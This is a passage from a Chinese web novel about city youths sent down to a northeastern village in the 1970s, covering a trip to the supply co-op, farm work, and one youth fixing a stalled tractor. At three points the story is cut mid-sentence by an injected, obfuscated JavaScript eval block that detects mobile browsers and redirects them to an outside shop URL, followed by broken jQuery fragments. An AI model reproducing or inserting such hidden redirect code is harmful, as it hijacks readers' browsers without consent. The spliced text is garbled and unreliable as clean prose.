赵小四想了想,瞅到东边的太阳:“有了!《东方红》!”
叶榛不由得回头。
明杭生见状便问:“会唱?”
“听过。我爷经常唱,我奶也会。”
赵小四听见了:“叶榛,咱们一起唱!”
叶榛自打来到这里没开过嗓,上辈子也没参加过合唱团,对眼下这种情况很陌生:“你们先唱,我听听。”
赵小四不敢强求:“那我起个头啊。”轻咳一声,“我指谁谁接啊。”伸出三根手指,然后依次收起,手握成拳的那一刻,“东方红,太阳升——”抬手指向孙解放。
孙解放不想扫了大家的兴,接唱一句就指陈菀菀。陈菀菀一边唱一边到叶榛和明杭生前面,倒着走指明杭生。明杭生一点也不意外,接一句看向叶榛。叶榛上辈子在家从不敢当扫兴的那个,虽然决定这辈子要改,也一直在改,可刻在灵魂深处的东西哪有那么容易,拒绝的话还没说出口,先唱出声。叶榛唱一句,明杭生接下一句,然后看向陈菀菀,陈菀菀接一句指着曹芳芳。
路两边都是永安生产队的地,此时地头上有挖野菜的,也有给生产队挖猪草的,还有看看地收拾的咋样的,社员们听到熟悉的歌曲,都不由自主地停下来露出笑容跟着哼唱……
一群人说着笑着,不知不觉十里路到头。叶榛先带他们去邮局。信寄出去,叶榛就带他们去供销社。走在前往供销社的路上,赵小四看看这看看那,又绕到叶榛前面打量她。
叶榛穿过来两年都没有这两天情绪起伏大。叶榛忍不住翻个白眼:“有事说事,没事滚蛋!”
明杭生莫名想笑,赵小四也乐了,笑自己厉害,能把冰山气得喷火。以防叶榛烦了直接动手,他立刻问出心中疑惑:“这里好像跟首都不太一样?”
叶榛没好气道:“废话!”
赵小四噎住。
孙解放顿时觉着很痛快,赵小四个碎嘴子,就得叶榛这样的收拾。
赵小四当真好奇,所以没心思跟叶榛打嘴仗,他指着街道两边的墙壁,“这些跟首都一样,墙上贴满大字报,写满口号。可是街上,好像没什么人出来?”
在首都只要白天出去就能看到带着红袖章的半大小子,或者气势汹汹时刻准备着打砸的大爷大妈,他以为东北也不例外,所以路上都做好了看热闹的准备。结果他们一行成了热闹,行人时不时打量他们。
叶榛还以为他要说什么:“你觉着这破地方还有要破的吗?”
赵小四被问住。
孙解放等人也不由得向前,皆一副“这话怎么说”的样子。
明杭生见状,道:“首先此地自古贫穷,又被鬼子侵占多年,但凡能跑的早跑了,别说资本家,富农都没几个。”
赵小四恍然大悟:“对啊,这里以前可是宁古塔。难怪队里没人关心革命。还以为——”
“以为队里都是大字不识一个的农民啥也不懂?”叶榛替他说。
赵小四尴尬地笑笑:“这不是没弄清想当然了吗。”
叶榛:“到了这里少想那些有的没的。”
“榛儿教训的是。”
叶榛脸色微变,赵小四抬腿就跑。叶榛的呼吸停顿一下,转身把背篓给明杭生。明杭生接过去便说:“供销社好像到了。”
叶榛顺着他的视线看去,供销社在三米外。而这么一耽搁,赵小四已经跑到十米外:“他属猴的吧?窜这么快!”
明杭生:“要不然怎么会爬树呢。”
叶榛莫名想笑:“今天先不跟他计较!”提醒大家供销社到了。
明杭生进了供销社就问有没有鱼线。叶榛直接去买黄桃罐头。其他人先看看供销社里有什么。叶榛付了钱就准备出去,转身之际看到一个营业员给她使眼色。
叶榛愣了片刻,走过去问:“您,认识我?”
营业员笑着说:“你忘了,上次你和你姑过来就是我当班。”
叶榛想起来了:“您找我姑啊?”
“我不找你姑!”营业员大姐说着话又给她使个眼色。
叶榛福至心灵,试探着出去,大姐这次没叫她。叶榛便到外面等知青们。知青们不清楚要在这里待几年,所以都很节俭——挑一两样非买不可的必需品就出去,以防在里面呆久了忍不住花钱。
明杭生见状把到手的东西又放回去,犹豫片刻,选一斤江米条。
赵小四捅一下孙解放,朝明杭生眨了眨眼睛。孙解放瞪他一眼就把布口袋给明杭生,明杭生没接,而是把纸装的江米条放布袋里。
明杭生这样做赵小四反而不敢打江米条的主意。
叶榛等他们出来就带七人穿胡同逛大街把整座小镇转一圈,再折回供销社。曹芳芳不禁问:“你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14235843|151377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还有事?”
陈菀菀注意到了营业员和叶榛间的眉眼官司:“没事就不能回去?”
“又没问你!”
陈菀菀道:“你问叶榛,可惜叶榛懒得理你。”
叶榛:“你俩吵架别扯我。”
曹芳芳哼一声:“我才懒得跟她吵!”
叶榛越过两人走到最前面。曹芳芳下意识上前,陈菀菀一把拉住她:“你跟屁虫啊?”
“关你什么事?”
孙解放头疼。明杭生也头疼,急走几步越过她俩到叶榛身边。正准备过去的曹芳芳见状陡然停下。孙解放心说至于这么烦明杭生吗。
明杭生往左右看看,见曹芳芳没追上来,失笑:“没想到我还能这么用。”
“什么?”叶榛回头,正好曹芳芳瞪着明杭生跺脚,“她这么讨厌你?”
明杭生:“谁知道。可能我长得跟她犯冲。也好,省得过来烦你。”
叶榛:“她不怨我不理她的话,其实也还好。”
明杭生很意外,以为叶榛会趁机抱怨:“供销社的女营业员是不是要给你什么东西?”
“不是吧。”叶榛跟她非心非故,家里也没有什么厉害的人物,人家没必要笼络她。
然而没想到到了供销社营业员就朝后使眼色。叶榛绕到后门等片刻,后门从里面打开,叶小姑的同学出来,递给叶榛一包碎布头。
叶榛下意识接过去:“多少钱?”
“什么钱不钱的啊。这是人家绞剩下的,最大的一块还没有我巴掌大。”出纳笑着说,“你小姑不是在村小当老师吗,粉笔那么脏,拿回去让她做套袖。对了,里头还有几根橡皮筋,留着缝套袖两头,别拿掉了啊。”
叶榛道:“那我替小姑谢谢你。”
“谢啥啊。”她又从兜里掏出一个拳头大的纸包。
叶榛摇头拒绝:“这个不能要。”
“这是胰子渣,别嫌弃!”出纳说着话就塞她背篓里,“供销社的东西不少,但眼睛多,没人敢昧公家的东西。这是员工福利。我家都攒一盒了。”
叶榛又道一声谢。
“快回去吧。”她抬手把门关上。
原文中并没有这一段,陈菀菀忍不住说:“你小姑的好朋友啊?”
叶榛:“好像只是初中同学。”
“那这人怪好的。”
叶榛感觉跟她姑上次立志考大学有关——她同学认为她姑很有志气才想到“雪中送炭”。
曹芳芳到叶榛身边问:“肥皂渣怎么用啊?”
陈菀菀道:“隔水融化冷却成块再用!”
曹芳芳忍不住翻白眼,怎么哪哪儿都有她啊。
陈菀菀就是故意的,她到叶榛另一边问:“要不要我帮你背?”
孙解放:“要背也是我们。哪能让你们女生背啊。”
“也对。”陈菀菀拿掉背篓,“叶榛,让他们背。”转手递给明杭生,“咱们这些人就你身体最好!”
孙解放伸出去的手僵住,想起昨天他气喘吁吁,明杭生还心思逗鸟:“确实你身体最好。”说完把两个布口袋放背篓里。
明杭生接过去。
陈菀菀见他毫无怨言,心说他要不自杀该多好啊。
13.明杭生修车
半道上叶榛问明杭生累不累换她背,明杭生微微摇头。陈菀菀看到这一幕很意外——大少爷竟然一点也不娇气。再想想能让原文作者提一句的人肯定各方面都不错,否则提他有啥意思,再次间接证明原文女主眼光不好吗。
话说回来,在街上逛半天,又走回来,以至于除了叶榛和明杭生其他人都累得脚底板子疼。包括赵小四,刚到生产队路口就吵吵着回去睡觉。
叶榛便在路口同他们分开。明杭生把背篓递给她的那一刻给孙解放使个眼色。孙解放愣了一瞬就明白过来,把江米条放背篓里。
叶榛不明所以。
孙解放解释:“这两天没少麻烦你和婶,回头少不了还得麻烦你们,这就当是我们大家的一点心意。”
叶榛看明杭生的衣服就知道他家不差钱,便痛快收下:“那以后有什么事直接去我家找我。”
曹芳芳等她走远就忍不住说:“我都没想起来。”
陈菀菀心说你没想到的多着呢。明杭生那样的出身,只有他不想,没有他想不到的。否则怎么可能在去年那么闹的情况下片叶不沾身。
陈菀菀追上孙解放和明杭生问:“我们是不是要捡点柴?我看叶榛家有个棚,那个棚底下全是大大小小的树枝木头。”
孙解放点头:“是要准备。我们有两个炕,整个冬季都要烧柴。我还听说这边过了中秋节就冷了。”
明杭生:“不如北边冷。”
“那冬季也漫长啊。”孙解放道。
赵小四问:“那要准备多少?”
孙解放算算时间:“洗衣烧饭烧炕,半年的量。”
赵小四倒吸一口气,“那还磨叽什么?赶紧回去吃饭,下午就找叶榛陪咱们上山。”
陈菀菀下意识想说有暖气,幸好正值饭点,家家户户都忙着做饭,烟囱的烟飘过来把她嘴巴堵住,让她想起这个时候的东北农村没有暖气。
此时叶榛家也做饭了。叶榛进院闻到肉香就朝厨房走去:“做啥吃的?”
叶妈:“你打的两只兔子。晚饭后把野猪肉烀上留明天吃。”
话音落下,叶小月跟猫闻到腥似的从堂屋跑出来。
叶榛瞥她一眼就拿出罐头和江米条。叶小月把罐头接过去,她弟抱住江米条。叶榛的小婶从厨房跑出来伸手夺走。
俩小孩气得跺脚大吼:“姐姐给我们买的!”
“我先收着,想吃的时候找我要。”叶小婶瞪一眼俩孩子,“都给你俩你俩敢一顿吃完。还吃饭吗?”
叶小月嘀咕:“饭有啥好吃的。”
叶小婶两只手被占,没法收拾她,扭头对叶榛道:“以后别理小月。三天两头买,多少钱够她花啊!”
叶榛:“罐头是我买的,江米条是明杭生买的,代表知青感谢咱们的帮助。”
叶小婶很意外:“知青买的?”
蹲在厨房墙边的老叶头问:“明杭生出的钱吧?”
叶榛不禁问:“你咋知道?”
“那群知青就数他衣服好家里有钱。父母做什么工作的?”老叶说着话抽一口焊烟。
叶榛摇头:“无父无母,跟着爷爷奶奶长大。”
老叶差点被烟呛着:“他,这种情况叫他下乡?”
“可能他爷奶还有别的孙子。”跟人不熟叶榛没好意思细问,“听说城里挺乱的,也许是让他下来避避风头,顺便锻炼锻炼。”
老叶点头:“有可能。”顿了顿,“这孩子也不容易啊。”
叶小婶顿时觉着江米条烫手:“那我们是不是该给人还回去?”
“收下吧。”老叶抬头看一眼孙女,脸上没有一丝烦躁,看来这趟供销社去的挺开心。听说她还跟那群知青唱《东方红》。老叶这一刻不得不承认“知女莫若母”,儿媳妇说得对,是该叫孩子跟同龄人多接触,“月儿她娘,用咱家盛菜的盆挖半盆酱,再盛一碗兔肉,放篮子里给知青送去。”
“一碗是不是有点少?”叶小婶出嫁前抠抠搜搜,一根针都是宝贝。嫁到叶家,有个吃商品粮的公爹,离山近野果野物种类多,叶家的生活快赶上城里双职工了,时间一长她那些抠搜毛病也没了,“九个人呢。”
老叶道:“少是少了点。可也不能让他们觉着咱家东西多。再说左邻右舍看见又该搁背后瞎嘀咕。”
叶榛的奶奶在她爷身边编草鞋,忍不住说:“不是昨天弄几头大猪,家家户户都分十来斤,今天不定多少人来问咱家做啥吃的。”
叶小婶道:“那榛儿自个去不就行了?”
老叶:“你教教知青酱暂时吃不完怎么放。”
“对,我忘了,那些知青没吃过咱家这种酱。”叶小婶把东西给公爹,“您拿着,别给他俩。”
叶小月和她弟的哈喇子快流出来了,等她妈和她堂姐一走,立刻缠爷爷把罐头打开。
老叶笑着摇头:“这事我听你娘的。你娘说啥时候吃就啥时候吃。”
“你还怕我娘啊?”叶小月惊呼。
叶榛和她婶正好到胡同里,隔着一道土墙听得一清二楚。叶小婶朝自家吼:“叶小月!”
七岁的叶小月吓得打个哆嗦,拽着弟弟进厨房:“大妈,啥时候吃饭啊?”
叶小姑把最后一把柴塞锅底下:“你爹和你大爷回来就吃饭。”
叶小月立刻跑出去喊她爹和她大爷。
叶家兄弟俩在东边跟人唠嗑——他俩干半天活,叶妈等人体谅他俩辛苦,就让他俩出去歇会儿。哥俩早饿了,听到小月的声音立刻跟乡亲们说:“饭好了,吃饭去。”
乡亲顺嘴问:“今天你家也烀肉啊?”
叶爸本能想说实话,叶小叔比他有心眼:“对!昨天没做!我家分到的野猪肉可能比较老,腥味重的泡了一晚上感觉也没啥用。”
“昨天榛儿上山打的啥?”乡亲又问。
叶小叔怀疑他早就想这么问:“一只野兔子。”
“还是你家榛儿厉害,回回不落空。”乡亲不想承认,就在心里补一句,一个姑娘顶我家俩小子。
叶小叔说:“也不是。去年榛儿在山上碰到几窝兔子就弄一只大的,小的都放了。她说这次打的就是去年被她放跑的。榛儿这次还发现几个山鸡窝,她就拿几个蛋。回头小鸡孵出来,明年不就有山鸡吃了。”
从他身边经过的二队长停下:“榛儿这么说的?”
叶爸下意识点头。
二队长啧一声:“还是榛儿懂事。咱们屯子里以前的老猎户不止一次提醒大伙儿不能打太狠,就是没人听。”指着跟叶家兄弟说话的几人,“都像你们一个个逮住一只恨不得连窝刨了,山上那些东西见着你们不跑才怪。”
几人讪笑着诡辩:“那不是以前穷怕了吗。现在谁还上山。”
“咋不说你们身上煞气重,山鸡傻狍子远远看到你们就吓得往山里头钻,你们上山也弄不到。”二队长说完就叫叶家兄弟回家吃饭去。
哥俩到家,叶榛和她婶也从知青点回来。叶榛这时才想到背篓里还有碎布头和胰子渣。叶妈看闺女找背篓,就把那两包东西拿出来问她是不是找那两样。
叶榛点头:“小姑的同学给的。洋胰子渣给我,回头隔水融化弄成块再用。碎布头给小姑。”
叶小姑端着杂粮窝头从厨房出来:“啥给我?”看清叶榛手里的东西,她顿时又惊又喜:“真有啊?她之前说找机会给我留一包布头,我还当她随口一说,跟我客气呢。有没有替我谢谢人家?”
叶榛瞥她一眼,我傻呀。
她姑顿时想打熊孩子,可惜又不敢动手,气得跺脚:“爹,看看你大孙女!”
老叶装没听见,起身去洗手。
叶榛的小姑隔空指着她爹:“您就惯吧。早晚惯出个祖宗!”
叶榛心说我脾气这么大吗?仔细想想,这两年对谁都爱答不理的,她爹娘爷奶也没训过她,好像真跟个祖宗似的。
要不要收敛一二?叶榛沉吟片刻,决定顺其自然。
午饭后叶榛就把洋胰子渣融了。洋胰子变成一整块,叶榛收好,估计知青们该吃好喝好了,就问她姑跟她一块去还是在家等她。
叶小姑想用碎布头缝套袖:“你去吧。我就不去了。”
叶榛看她穿针引线挺忙的就一个人过去。
知青点有镰刀、铁锨等物,像砍木头的斧头和锯,知青点没有。叶榛听说他们要砍柴,就叫他们去大队部——大队部有个房间专门放农具。
知青们去大队部拿斧头和锯,她回家拿防身的枪和绳子。随后众人在叶榛家汇合,然后一行人一起上山。
忙了三天,知青房前屋后翻新一遍,女知青点的厨房里堆满了柴,院里种满了各种蔬果,看起来像过日子的人家,知青们踏实了。
傍晚知青们收到消息,明日早饭后听锣声下地插秧。
这几日知青们白天忙碌晚上也没闲着,他们不是拿着树枝学插秧就是拿着锄头在院里学锄草。
期间刘建设问孙解放:“我们用得着跟备战高考似的吗?”
孙解放还是那句话,他们此番下乡接受贫下中农再教育,生产队是学校,每一项农活都值得认真对待。
刘建设又说:“可是学会了我们以后也用不着啊。”
孙解放来一句,肯定有用!
明杭生从两人身边过,补一句“书到用时方恨少!”言外之意,用到的时候再学就晚了。
这句话让刘建设无言以对,踏踏实实跟着练习。
皇天不负苦心人!
插秧第一天,大队长演示一遍,知青们就学会了。到中午他们累得直不起腰相互搀扶也没人抱怨,让整个生产队的人都很意外。
傍晚放工热心肠的大爷大妈提醒他们回去泡脚驱寒早点睡。住在知青点两边的社员给他们一大把自家院里种的青菜,让他们煮疙瘩汤。
孙解放和明杭生一起挑水,从知青点到水井有一段距离,期间无论哪个大娘婶子见着他们都热情地招呼一句:“挑水啊。”
孙解放问:“这是接受咱们了?”
明杭生点头:“其实他们一直很支持知青下乡。如果不是一些同学太教条,一些学
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14250202|151377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
习不好人品也不行的人把路走窄了,只是咱们九个根本不需要知青点。”
“让我们住社员家里?”
明杭生:“是的。”
孙解放把水倒桶里:“那我们要好好表现啊。”
明杭生也不想给他爷他奶丢人,应一声就去挑水。
累了一天,孙解放担心他撑不到知青点,在后面帮他扶一下。
俩人不敢歇,担心停下就不想动,所以把厨房的缸打满,又把女知青那边的水缸打满。
饭后到炕上整个人放松下来,明杭生沾到枕头就睡。
翌日清晨起来浑身酸痛,明杭生有种活在这个世上的真实感。没等他弄清自己怎么会这样想,曹芳芳的大嗓门传进来:“还没起?”
赵小四摸到自己的眼镜戴上:“才几点啊?”
明杭生拿出枕头下的表:“五点。”
赵小四早就发现明杭生有一块他爹看见都忍不住羡慕的表。虽然他看起来不着调,但很清楚什么东西能碰什么不能碰。索性当自己没看见,省得他忍不住上手摸,“五点天就亮了?”
明杭一边穿衣一边说:“这里比首都早四五十分钟。”
赵小四猛然坐直:“啥意思?还有时差啊?”
孙解放穿上鞋:“你没发现昨天还没做好饭天就黑了?”
“昨天我都累成鳖孙子了,哪有心情留意几点吃饭啊。”赵小四起来伸个懒腰,听到骨头咔嚓几声,“完了!”
孙解放朝他身上一下:“别装,赶紧的,稻子种下去还得栽红薯。”
刘建设叠好被子:“叶榛说给咱们几根红薯苗不是随口一说吧?”
明杭生:“不是!”
“你咋知道?”刘建设随口问。
明杭生道:“昨天插秧的时候我听到几个社员聊在宅基地上种玉米还是红薯,其中一人说到种红薯的时候提了一句,他家宅基地跟叶榛家的挨着,打算叫叶榛找队里的拖拉机犁地,回头连他家的一块犁了。”
赵小四啧一声:“这些人,你说他们精明,大字不识一个。你说傻吧,一个比一个会算计。”
孙解放:“有这力气舂米去!”
赵小四穿着外套跑出去,假装没听见。
然而最后也没逃掉。
孙解放洗漱后拎着半袋稻谷出来就喊赵小四,赵小四不得不硬着头皮跟上。
饭后歇三分钟,生产队上工的铜锣响了。曹芳芳此刻也没力气厌恶明杭生。陈菀菀撑着木棍,有气无力地说:“农民简直是天下最苦的一群人。”
孙解放扭头:“不到一星期就有这觉悟,难得啊。”
陈菀菀:“我算是明白上面为啥叫咱们下乡。”
赵小四深有同感:“不吃苦中苦,难为人上人!”
叶小姑从自家院里出来,正好看到一群知青从胡同里出来,道:“有力气说话,看来还是不累。”
知青们认为她站着说话不腰疼。
几日后,稻子种下去,赵小四个碎嘴子都没力气张嘴了,他们不得不承认早几天的自己确实不够累。
大队长担心把没干过农活的知青累出问题,就让他们帮生产队牵牛,顺便跟社员学犁地。
前面犁后面耙,大块土坷垃耙碎再犁出红薯沟才可以种红薯。为了节省时间,前面犁后面种。明杭生回头看看忙碌的男女老少,总觉着少点什么。犁一垄地掉过头,明杭生福至心灵,问扶着犁的社员大叔:“大队长是不是忘了安排人浇水?”
大叔仰头看看多云的天气:“这两天要下雨。不是天不好,大队长怎么也得叫你们歇一天。”
“如果没下下来呢?”
大叔道:“去沟里打水。”
明杭生朝远处的拖拉机看去,“为什么不买个抽水机?”
大叔笑了。
明杭生的脸微红,尴尬到脚指头抠出九亩红薯地:“我忘了抽水机贵,水管也不便宜。”
“没事的。这有啥不好意思。除了东西贵,还有就是不好弄,得去省城。听大队长说,比起这里西北地区更需要水管。咱们粮食歉收饿不死人,那边得人吃人。”大叔还想说什么,发现拖拉机停了。他看过去,开车的人下来,“这小子莽得狠,每次车到他手里烟囱就冒黑烟。我叫榛儿开,他非说开车犁地累。放他娘的狗屁!”
明杭生不由得想起刚来那天叶榛差点把他颠下车:“叶榛开车也不慢。”
“榛儿这孩子,你咋说她咋干。大队长要说不急,一亩地她能犁一天。沉得住气!这小子不行,看到石头都往上撞,嫌下来把石头移开费时间。”社员大叔见打不起火,又骂:“肯定是被这瘪犊子开坏了!”
果不其然,大队长和几个小队长过去也没修好,就准备去部队农场找人。
明杭生牵着牛到地头上,几人从他身边过去。明杭生犹豫片刻,问:“我试试吧?”
几人猛然停下,大队长回头问:“你说啥?”
“我看看?”明杭生朝拖拉机的方向看一下,“在城里看过人家修车,也许可以找到原因。”
14.香饽饽
明杭生的神态不像仅仅见过。
大队长盯着他琢磨,这批知青稳重谦虚,不会插秧就问,种太密需要返工也没人抱怨。累得直不起腰就嘀咕,“莫说种地很辛苦,想想长征两万五。”不小心掉几个不想捡回来,依然一边捡一边念叨,“种地到中午,粒粒皆辛苦。”
这些话不止一个社员听见,因此几天下来大家对他们都有了改观。不然只叫知青牵牛,工分却跟种红薯的社员们一样,队里的刺头早闹了。
就明杭生沉稳的性子,他说见过,可能动手修过。
以防年轻人自尊心强要面子,大队长道:“那你先看看。不过不会就不会,别逞能!”
社员大叔立刻说:“绳子给我吧。”
明杭生下意识把绳子递过去,“可是你一个人——”
“没事,犁慢点!”大叔接过绳子左右看看,发现地头上有几个小崽子,就叫他们过来牵牛。
然而没人搭理他。
大队长到几个小孩身后,朝最大的那个脑袋上一巴掌:“叶小月,耳朵聋了?”
叶小月捂着脑袋跳起来:“你又不给我算工分!”
“工分工分天天工分,你值几个工分?快点,别等我叫叶榛!”
叶小月扔下手里的土坷垃,噘着嘴朝耕牛走去。
明杭生诧异:“她怕叶榛?”
大队长点点头:“别看她娘嗓门大,就是瞎吵吵。气急了给她一巴掌都不舍得使劲儿。榛儿不跟她废话,抄起鞋底就朝屁股上打,不打到红的变青不停手。她和小阳都挨过。不过也就一回。打那以后就不敢跟榛儿犟。”
明杭生不由得找叶榛:“看不出来。”
大队长朝叶榛所在方向看去:“榛儿以前性子跳脱,招猫逗狗,经常把她爷气得跳脚,恨不得找根绳把她拴上,走到哪儿带到哪儿。”
明杭生无法想象叶榛走一步晃三晃的样子,“那她现在这样是长大了懂事了?”
“这,回头再说。”
明杭生怀疑里头有什么隐情:“那先看看车。”
把车开熄火的小子不禁问:“你会修吗?不行就去兵团找人,兵团有专门的维修工。”
“先看看。”明杭生依然是这句话。
大队长回头和几个小队长互看一下,心说这个明杭生可真稳。
把车开坏的小子见状又有话说,大队长横他一眼,心虚理亏的人顿时把嘴闭上。
明杭生到车跟前先看犁,他怀疑犁到石头车被累熄火。发现土松,人拉着犁都能犁动,明杭生才问把车开坏的小子熄火前有没有什么异常。
那小子张嘴想说:“你这么厉害不会自己查啊。”大队长一瞪眼,他赶忙老实交代。明杭生等他说完,确定不是什么大问题。明杭生的手放车上,果不其然,过了这么久还很热。
明杭生左右看看,找到一根细长的草,打开油盖。把车开熄火的小子不禁说:“你干嘛?会不会——”
“会!”明杭生把那根草拿出来递给大队长。大队长不明所以,他身后的小队长瞬间明白,忍不住惊叫:“没油了?!”
起先没在意这边状况的社员们惊得抬头,看到明杭生离车最近,不禁交头接耳,一个社员问,“知青怎么在那儿?”另一个社员说,“刚才车不是熄火了吗?咱们队的队长说可能坏了。”这俩社员旁边的社员一脸好奇,“所以是这个知青查出没坏,只是没油了?那这个知青怪厉害的。”
不止社员,大队长也没想到他过来不到三分钟就查出故障:“咋可能没油,我——”余光瞥到开车的小子一脸心虚,大队长呼吸一顿,朝他身上就踹,“你小子是不是又把我的话当耳旁风?我说机油可能不多,别忘了加油——”
“你也说机油不是柴油,加不加都行。”那小子不由得反驳。
大队长一脚踹空又来一脚:“你还有理?别躲,今天不打死你小子,我跟你姓!”
“你本来就跟我姓!”那小子脱口而出,一看大队长脸色通红,显然是被他气的,他转身就跑,“我,我拿机油去!”
大队长吼:“机油就在车上,上哪儿拿去?”
明杭生冷不丁想到叶榛去接他们那次放枪的地方,他朝车座和拖拉机轮胎中间看去,果然有个小桶。
大队长转过身就看到明杭生已经把油盖打开准备加油。大队长想说什么,一时竟不知该说什么,干脆问:“会开车吧?”
明杭生没开过拖拉机,但他感觉一摸就会:“没犁过地。”
大队长道:“那一会儿我跟你说说。”
“我开?”饶是明杭生有心理准备也没想到大队长真敢叫他开。
通过这几日的观察,拖拉机是队里的宝贝,大队长竟敢把宝贝交给他这个外人。
大队长可没想这么多:“你不是会吗?”
明杭生下意识看几个小队长。几个小队长立刻表示回队里看着社员别偷懒。其实不止这一点,他们嫌拖拉机太吵,半天下来脑袋都嗡嗡响。也就精力旺盛爱逞强的小子们喜欢开车犁地。
要叫几个队长选,他们宁愿牵牛扶犁。
明杭生以为他们真没空:“那我试试。”
“会摇车吗?”
明杭生没用过摇把,但他看叶榛用过。那天在火车站明杭生一眼就看出叶榛是女生。如果叶榛是个偏阴柔的男生,不可能站如一棵松。她给明杭生的感觉是部队里英气十足的女兵。叶榛说话时也没喉结,声音清冷,听起来像还没变声的男生,可仔细听她的声音比男生细。
明杭生不意外女生会开拖拉机,早几年发行的一元纸币上的图案就是女拖拉机手。但他听人说过摇把重,好奇叶榛细胳膊细腿怎么摇,所以叶榛用摇把时他一直盯着她。
明杭生拿起摇把,回想叶榛用摇把的样子,一次就把车摇起来。
大队长很意外:“你开过拖拉机?城里人开的不是小汽车吗?”
明杭生半真半假道:“为了不拖大家后腿,下乡前找人专门学过。”
“还学过?”大队长惊呼。
明杭生上车:“我觉着自己懂得挺多,到这里才发现其实只懂点皮毛。比如像今天,我就不知道您为什么这么着急,前面犁地后面种。那个社员大叔说得赶在下雨前种好我才明白。”
大队长道:“其实应该等雨后种。现在种要是雨太大有可能冲走。”
“那还种?”明杭生疑惑不解。
大队长:“红薯苗太大,没法再盖东西,可是啥也不盖,一场雨下来有可能淹死泡怀坏,不如提前种下去省心。”
“原来是这样。”
大队长点头:“今年天暖,红薯苗长得快。最多一个月就可以剪掉再种。”
“剪掉种?”
大队长:“红薯藤长长剪掉两节埋土里就活了。”
“没有根也能活?”
大队长见他一脸稀奇,顿时想笑:“见过仙人掌吧?跟仙人掌差不多,掰掉一个种土里就生根发芽。”回头看一下,见他犁的挺好,“不错,比我侄子犁的好。”
明杭生怀疑他听错了:“您侄子?”
“不是我侄子哪敢把我话当耳旁风啊。”大队长问,“你自个能行吧?”
明杭生点头:“差不多。”
“那你犁吧。”
明杭生闻言就踩刹车,大队长没想到他这么有眼力劲儿,笑着拍拍他的肩就下去。
远处的知青看到这一幕都不禁站起来,赵小四嘀咕:“明杭生居然真会犁地?还有他不会的吗?”问旁边的孙解放。
孙解放:“他不会开拖拉机,也不会犁地。”
“咋可能?”赵小四指着远处的车和人惊叫,就差没明说,你瞎啊。
另一边的李卫国弱弱地说:“他真会就不用大队长陪了。”
赵小四问:“啥意思?算学的?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14258267|151377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
李卫国和孙解放同时点头。
在孙解放旁边的刘建设见状不禁说:“他这么聪明?以前怎么——”
孙解放:“他一直是年级前十!”
刘建设噎了一下,然后想到高中三年无论大考小考明杭生的成绩一直是他们班前三,比班长还稳,“会读书也不等于会干农活。”
赵小四可管不了这么多,他只知道过了今天社员们不会再一提到他们就直摇头:“还是我二哥厉害!不愧是我二哥!”
刘建设白了他一眼,低头埋红薯。
与此同时,几个女知青也在聊明杭生。不过一开始是曹芳芳阴阳怪气明杭生逞能,陈菀菀怕把话落地上,十分贴心地接一句:“你以为明杭生是你。”
曹芳芳没理她,跟尤菁菁换位,到叶榛身边。陈菀菀就跟叶小姑换一下,到叶榛另一边,然后俩人隔着叶榛互怼。
叶榛头都大了:“我没得罪你俩吧?”
俩人立刻鸣金收兵换回去。
叶榛松了一口气,给她小姑使个眼色,叶小姑跟叶榛换一下,把她和曹芳芳隔开。中间隔着长辈,曹芳芳顿时不好意思勾头找叶榛聊天。
锣声传来,叶小姑把剩下的红薯苗埋土里,直起腰抱怨:“谁发明的忙假啊?我一个老师还要种地!”
叶小婶不禁说:“就这有人还不愿意教小学生呢。”
“我,那是我以为今年能恢复高考。”叶小姑底气不足,不待她二嫂开口就喊叶榛回家,然后问俩侄子侄女跑哪儿去了。
叶小婶一看闺女儿子不在地头上,担心他们不要命了往山上跑,或者贪玩去河边,赶忙去找孩子。
叶榛捡起她婶扔下的工具,想招呼女知青一起走,回头看到几个女知青朝明杭生走去。
叶小姑发现侄女停下,顺着她的视线看去:“明杭生成了香饽饽?”
“看样子像。连曹芳芳都去了。”
叶榛的小姑不禁说:“那她够心口不一的。”
“可能不知道怎么吸引明杭生的注意,所以一逮到机会就挤兑他。”叶榛摇头,“可惜这招不但对他没用,还让明杭生以为他俩八字不合。”
叶小姑顺嘴问:“你咋知道?”
“明杭生说的。”
叶小姑想问什么,又怀疑自己敏感想多了,“我还以为明杭生不善言辞呢。”
叶榛摇头:“他只是懒得说。”
叶小姑张嘴想说,就像你!难得叶榛能好好说话,她赶忙咽回去:“知青的事咱们就别操心了。也管不着。兴许人家明年就走了。当务之急回家做饭!”
她不说叶榛都没想起来,她一说叶榛的肚子叫了。叶榛看到远处河边的槐树,问:“洋槐花快开了吧?”
叶小姑算算时间:“差不多了。要不叫大哥大嫂做饭,咱们去河边看看?”
叶榛点头:“多摘点,晚上蒸着吃。”
